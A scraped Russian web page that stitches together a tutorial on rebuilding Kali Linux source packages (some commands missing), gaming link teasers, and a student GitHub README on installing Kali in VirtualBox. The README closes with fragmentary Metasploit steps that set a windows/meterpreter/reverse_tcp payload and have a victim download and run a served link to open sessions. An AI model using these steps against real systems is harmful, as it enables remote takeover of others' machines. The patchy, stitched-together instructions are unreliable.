Исходный код kali linux

Как пересобрать исходный код в Kali Linux

Несмотря на то, что Kali Linux специально настроен для тестирования на проникновение, это гибкий и настраиваемый дистрибутив Linux. Он позволяет вам настраивать такие вещи, как окружение рабочего стола, пакеты и даже ядро, если вы знаете, что делаете,

Давайте обсудим, как мы можем изменить установленные пакеты и пересобрать их из исходного кода.

ПРИМЕЧАНИЕ: Прежде чем мы начнем, вам нужно будет включить URI исходного пакета deb-src в исходные тексты.файл списка.

Добавление пакетов deb-src

Чтобы добавить пакет deb-src в исходники Kali Linux.list файл, отредактируйте файл в / etc / apt / sources.перечислить и раскомментировать строку deb-src.

Затем обновите исходные пакеты, прежде чем продолжить.

ПРИМЕЧАНИЕ: Убедитесь, что у вас установлен пакет dpkg-dev.

Скачивание исходных пакетов

Следующим шагом будет загрузка пакета с исходным кодом. В этом примере мы будем использовать vim. Выполните команды:

sudo apt-get update
sudo apt source vim

Затем перейдите в каталог исходного пакета vim

Изменить исходный код пакета

Следующим шагом является внесение изменений в исходный код по своему усмотрению. Я не буду вдаваться в подробности, потому что это будет зависеть от пакета, который вы изменяете, и ваших целевых потребностей.

После внесения необходимых изменений сохраните и закройте файл.

Проверить зависимости сборки

Перед пересборкой пакетов с исходным кодом вам необходимо установить зависимости пакетов. Проверить необходимые зависимости можно с помощью команды:

Выполнение этой команды отобразит все необходимые зависимости перед пересборкой пакета. Результат будет пустым, если зависимости не требуются. Для vim вы увидите результат, аналогичный показанному ниже:

dpkg-checkbuilddeps: ошибка: неудовлетворенные зависимости сборки: autoconf cscope debhelper-compat (= 12) libacl1-dev libcanberra-dev libgpmg1-dev libgtk-3-dev liblua5.2-dev libperl-dev libselinux1-dev libncurses-dev libtool-bin libxaw7-dev libxpm-dev libxt-dev lua5.2 python3-dev ruby-dev tcl-dev docbook-utils docbook-xml ghostscript pdf2svg

Установка зависимостей сборки

Когда у вас есть список необходимых зависимостей, просто используйте apt, чтобы установить их как:

sudo apt-get install autoconf cscope debhelper-compat libacl1-dev libcanberra-dev libgpmg1-dev libgtk-3-dev liblua5.2-dev libperl-dev libselinux1-dev libncurses-dev libtool-bin libxaw7-dev libxpm-dev libxt-dev lua5.2 python3-dev ruby-dev tcl-dev docbook-utils docbook-xml ghostscript pdf2svg -y

Читайте также:  Linux write permission to all

Сборка исходного пакета

После выполнения необходимых зависимостей и сохранения изменений нового исходного пакета вы можете собрать новый пакет.

Используйте команду ниже, чтобы создать новый пакет.

Установка нового пакета

После успешного завершения сборки у вас должен быть .deb-пакет, который можно установить с помощью dpkg.

Заключение

В этом кратком руководстве показано, как создавать, изменять и перестраивать пакеты в Kali Linux. Перестройка пакетов может быть очень полезной, если вам нужна настроенная версия инструмента.

Shadow of the Tomb Raider для Linux Учебное пособие

Игры

Shadow of the Tomb Raider — двенадцатое дополнение к серии Tomb Raider — франшизе приключенческой игры, созданной Eidos Montreal. Игра была очень хоро.

Как увеличить FPS в Linux?

Игры

FPS означает Кадров в секунду. Задача FPS — измерить частоту кадров при воспроизведении видео или во время игры. Проще говоря, количество непрерывных .

Лучшие игры Oculus App Lab

Игры

Если вы владелец гарнитуры Oculus, вы должны знать о загрузке неопубликованных приложений. Боковая загрузка — это процесс установки на гарнитуру содер.

Свежие статьи об операционных системах. Множество интересных гайдов и полезных советов. Почувствуйте себя своим в мире современных технологий

Источник

Saved searches

Use saved searches to filter your results more quickly

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.

Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics and Reverse Engineering.

License

bahsoya224/kali-linux

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Launching Visual Studio Code

Your codespace will open once ready.

Читайте также:  Linux mint run file

There was a problem preparing your codespace, please try again.

Latest commit

Git stats

Files

Failed to load latest commit information.

README.md

Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics and Reverse Engineering.

The purpose of this project is to install kali linux on virtual box machine and use it to practice attacks any server or any PC . this is only for test purpose only and meant to demonstrate potential security flaws. What does the program do?

Kali Linux is mainly used for advanced Penetration Testing and Security Auditing. Kali contains several hundred tools which are geared towards various information security tasks, such as Penetration Testing, Security research, Computer Forensics and Reverse Engineering.

What problem does the application solve?

—->> Computer Forensics and Reverse Engineering

—>>> then I created a new virtual machine

—>>>next I created memory size RAM then

—>>>next create your hard disc then create

p1

p2

p3

Finally, navigate to Storage settings. Add the downloaded Kali image to a storage device under Controller: IDE.

—>>>Click the disk icon to search for the image. Once finished click on OK.

—>>>Then Click the Start icon to begin installing Kali.

p4

Installing and Setting Up Kali Linux

After you booted the installation menu by clicking Start, a new VM VirtualBox window appears with the Kali welcome screen. Select the Graphical install option and go through the following installation steps for setting up Kali Linux in VirtualBox.

p5

—>>>Select a language. Choose the default language for the system .

p6

—>>>Select your location. Find and select your country from the list (or choose “other”).

p7

—>>>Configure the keyboard. Decide which keymap to use. In most cases, the best option is to select American English.

p8

—>>>Configure the network. First, enter a hostname for the system and click Continue

p9

—>>>Next, domain name if you don’t have domain name click continue.

—>>>Set up users and passwords. Create a strong password for the system administrator account.

p10

—>>>Configure the clock. Select your time zone from the available options. Choice and then continue.

—>>>Partition disks. Select how you would like to partition the hard disk.

p11

—>>>Then, select which disk you want to use for partitioning. As you created a single virtual hard disk before.

Читайте также:  Установка патчей 1с linux

—>>>Next, select the scheme for partitioning. If you are a new user, go for All files in one partition.

p12

—>>>The wizard gives you an overview of the configured partitions.

—>>>Continue by navigating to Finish partitioning and write changes to disk.

—>>>Click Continue and confirm with Yes.

p13

Configure the package manager. Select whether you want to use a network mirror and click Continue. Install the GRUB boot loader on a hard disk. Select Yes and Continue. Then, select a boot loader device to ensure the newly installed system is bootable. Once you receive the message Installation is complete, click Continue to reboot your VM.

—>>> Finally, login using your usersame and password

p14

—>>> update your kali linux using the command:

—>>> log the system to attack tape:

—>>> when you are in the console tape

—>>> open a new terminal to find your IP address and tape

$ set lhost «your Ip address»

$ set srvhost «your Ip address»

—>>>set payload following comand

$ set payload windows/meterpreter/reverse_tcp

—>>>copy the link from your terminal then open a browser and then paste it and download it and run it after

—>>>to connect over the sessions

—>>> when you are in the console tape

$ set srvhost «your Ip address»

—>>>copy the link from your terminal then open a browser and then paste it and download it and run it after

—>>>to connect over the sessions

We used the second method for the demo

Kali Linux is definitely a best Linux distro for someone who want to learn and improve their skills in Penetration testing, Metasploit, the most famous tool amoung the security researchers, comes inbuilt with Kali Linux. Other famous and great tools includes wireshark etc. Its easy to use if you have used any of the Linux distro like Ubuntu in your school.

What we learned about kali linux

Kali Linux is a security distribution of Linux derived from Debian and specifically designed for computer forensics and advanced penetration testing. Kali Linux has over 600 preinstalled penetration-testing applications to discover. Each program with its unique flexibility and use case.

About

Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics and Reverse Engineering.

Источник

Оцените статью
Adblock
detector